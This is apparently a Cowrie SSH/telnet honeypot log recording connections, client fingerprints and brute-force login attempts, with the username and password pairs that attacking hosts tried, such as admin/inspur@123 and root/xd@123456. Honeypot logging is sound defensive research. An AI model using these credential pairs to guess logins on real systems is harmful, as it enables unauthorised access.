{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34028,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb604a6b1f1e","protocol":"ssh","message":"New connection: 159.203.92.129:34028 (159.203.135.109:22) [session: eb604a6b1f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:10.674254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:10.679241Z","src_ip":"159.203.92.129","session":"eb604a6b1f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:10.684169Z","src_ip":"159.203.92.129","session":"eb604a6b1f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"inspur@123","message":"login attempt [admin/inspur@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:10.696234Z","src_ip":"159.203.92.129","session":"eb604a6b1f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":59089,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0e2c6d72335","protocol":"ssh","message":"New connection: 223.197.186.7:59089 (159.203.135.109:22) [session: c0e2c6d72335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:10.766373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:10.771255Z","src_ip":"223.197.186.7","session":"c0e2c6d72335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:10.992350Z","src_ip":"223.197.186.7","session":"c0e2c6d72335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.43624186515808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:11.320390Z","src_ip":"103.126.161.66","session":"5130ec54d31c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:11.702696Z","src_ip":"159.203.92.129","session":"eb604a6b1f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xd@123456","message":"login attempt [root/xd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:11.909791Z","src_ip":"223.197.186.7","session":"c0e2c6d72335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.234.236","src_port":45522,"dst_ip":"10.17.0.5","dst_port":23,"session":"df049d05ba6d","protocol":"telnet","message":"New connection: 103.4.234.236:45522 (10.17.0.5:23) [session: df049d05ba6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:12.146917Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:13.130472Z","src_ip":"223.197.186.7","session":"c0e2c6d72335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.234.236","src_port":45502,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f6fad2c38dc","protocol":"telnet","message":"New connection: 103.4.234.236:45502 (10.17.0.5:23) [session: 8f6fad2c38dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:13.330314Z"}
{"eventid":"cowrie.session.closed","duration":34.69012951850891,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:16.910446Z","src_ip":"103.253.213.135","session":"8514b1ad0f20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.718201875686646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:35.250604Z","src_ip":"103.126.161.66","session":"8c0a1696cd02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":51650,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa8065b16ffb","protocol":"ssh","message":"New connection: 45.78.208.179:51650 (159.203.135.109:22) [session: fa8065b16ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:41.244492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:41.249775Z","src_ip":"45.78.208.179","session":"fa8065b16ffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:41.487649Z","src_ip":"45.78.208.179","session":"fa8065b16ffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"changethis","message":"login attempt [ubuntu/changethis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:42.465655Z","src_ip":"45.78.208.179","session":"fa8065b16ffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:43.704015Z","src_ip":"45.78.208.179","session":"fa8065b16ffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.793261766433716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:43.940033Z","src_ip":"103.4.234.236","session":"df049d05ba6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.635159969329834,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:45.965376Z","src_ip":"103.4.234.236","session":"8f6fad2c38dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44802,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa737ad38746","protocol":"ssh","message":"New connection: 159.203.92.129:44802 (159.203.135.109:22) [session: aa737ad38746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:55.872965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:55.881680Z","src_ip":"159.203.92.129","session":"aa737ad38746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:55.886323Z","src_ip":"159.203.92.129","session":"aa737ad38746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"linux123","message":"login attempt [admin/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:55.896943Z","src_ip":"159.203.92.129","session":"aa737ad38746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:01:56.903691Z","src_ip":"159.203.92.129","session":"aa737ad38746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":65189,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeaf69ab95b1","protocol":"ssh","message":"New connection: 223.197.186.7:65189 (159.203.135.109:22) [session: aeaf69ab95b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:14.982938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:14.988324Z","src_ip":"223.197.186.7","session":"aeaf69ab95b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:15.211074Z","src_ip":"223.197.186.7","session":"aeaf69ab95b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tiago","message":"login attempt [root/tiago] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:16.147638Z","src_ip":"223.197.186.7","session":"aeaf69ab95b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:17.368327Z","src_ip":"223.197.186.7","session":"aeaf69ab95b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":35884,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecc8c3b6ac78","protocol":"ssh","message":"New connection: 103.148.100.146:35884 (159.203.135.109:22) [session: ecc8c3b6ac78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:35.311121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:35.317817Z","src_ip":"103.148.100.146","session":"ecc8c3b6ac78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:35.578240Z","src_ip":"103.148.100.146","session":"ecc8c3b6ac78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admins","password":"P@ssw0rd","message":"login attempt [admins/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:36.627496Z","src_ip":"103.148.100.146","session":"ecc8c3b6ac78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:37.896421Z","src_ip":"103.148.100.146","session":"ecc8c3b6ac78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51722,"dst_ip":"159.203.135.109","dst_port":22,"session":"88cca9781a61","protocol":"ssh","message":"New connection: 159.203.92.129:51722 (159.203.135.109:22) [session: 88cca9781a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:40.519650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:40.524243Z","src_ip":"159.203.92.129","session":"88cca9781a61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:40.528177Z","src_ip":"159.203.92.129","session":"88cca9781a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"live!123","message":"login attempt [admin/live!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:40.539491Z","src_ip":"159.203.92.129","session":"88cca9781a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:41.545530Z","src_ip":"159.203.92.129","session":"88cca9781a61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":48290,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd9e060da803","protocol":"ssh","message":"New connection: 45.78.208.179:48290 (159.203.135.109:22) [session: bd9e060da803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:42.624983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:42.629693Z","src_ip":"45.78.208.179","session":"bd9e060da803","protocol":"ssh"}
